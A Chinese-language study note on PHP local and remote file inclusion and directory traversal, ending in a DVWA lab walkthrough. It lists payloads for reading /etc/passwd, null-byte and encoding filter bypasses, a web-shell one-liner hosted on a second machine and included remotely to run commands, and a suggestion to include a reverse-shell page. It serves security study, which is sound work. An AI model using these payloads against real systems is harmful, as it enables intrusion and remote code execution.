文件包含笔记
Created at 2018-07-31 Updated at 2018-07-31
目录遍历 文件包含
目录遍历的原因在于目录的权限限制不严格
文件包含服务器通过php的函数去包含任意文件,但过滤不严,例如include()
,require()
,include_once()
,require_once()
本地文件包含LFI和远程文件包含RFI
修改配置php.ini配置文件sudo vi /etc/php5/cgi/php.ini
修改allow_url_fopen=on
和allow_url_include=on
允许包含其他文件
重启apache服务
sudo /etx/init.d/apache2 restart
可能存在漏洞的特征例如:?page=a.php
、?home=b.html
、?file=content
经典测试方法:(/etc/passwd是都能查看的文件)
其中① ~ ③为本地文件包含
①?file=../../../../etc/passwd
可以超多个../因为一个../返回上级目录,超多个../就可以返回到根目录时就不能再返回了,因此可以多个../
也可以使用?file=/etc/passwd
表示根目录下的etc文件下的passwd,文件包含的include()有了绝对路径就能直接找到,但是目录遍历不能这样,需要用../
②?page=file:///etc/passwd
file://后面需要的是绝对路径,因此,file://../../../../../../etc/passwd
会报错
③?home=main.cgi
main.cgi一段源码内容或者配置信息等
④?page=http://www.a.com/1.php
例如:?page=http://www.sina.com
可以把新浪的页面显示出来
这里可以改成自己的一个shell反弹的一个页面
⑤http://1.1.1.1/../../../../dir/file.txt
编码绕过字符过滤(找不到包含的文件)
有可能自动在包含的文件后面加上一个.php,可能会报错,页面不能显示
Php5.3以前的版本可以用“.” ,“%00”来绕过文件扩展名过滤
例如:?file=a.doc%00.php
会被截断成a.doc
可以用多种编码尝试(128以下的ASCII码都不会被过滤)
不同操作系统的路径特征字符
类Unix系统
根目录:/
目录层级分隔符:/
Windows系统
根目录有可能为C:\
或D:\
或其他
\或/
编码
url编码:
../:%2e%2e%2f
(Linux)
..\:%2e%2e%5c
(windows)
双重url编码:(可能不能被解析)
../的双重编码:%25%32%65%25%32%65%25%32%66
..\的双重编码:%25%32%65%25%32%65%25%35%63
Unicode/UTF-8编码:
../:..%c0%af
..\:..%c1%9c
其他系统路径可能使用到的字符
①在文件名后面加上…
file.txt…
②在文件名后面加上多个空格
file.txt
(后面有多个空格)
③文件名后加上若干个双引号
file.txt””””
④文件名后加上若干个<和>
file.txt<<<<>>>><
⑤文件名前面加上若干个./(.表示当前目录)
./././././file.txt
⑥在前面加一个不存在的目录,再加一个../再加文件名
nonexistent/../file.txt
先在不存在的一个目录下,再返回当前的目录,最后还是能读取file.txt
远程文件包含(DVWA下medium等级)
medium等级的源码:
1 |
|
在本地的/var/www/html的目录下,创建一个内容为:<?php echo shell_exec($_GET['cmd']);?>
的txt文件,并开启Apache服务:service apache2 start
输入:http://192.168.1.106/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.1.107/1.txt&cmd=pwd
返回的是192.168.1.106的当前目录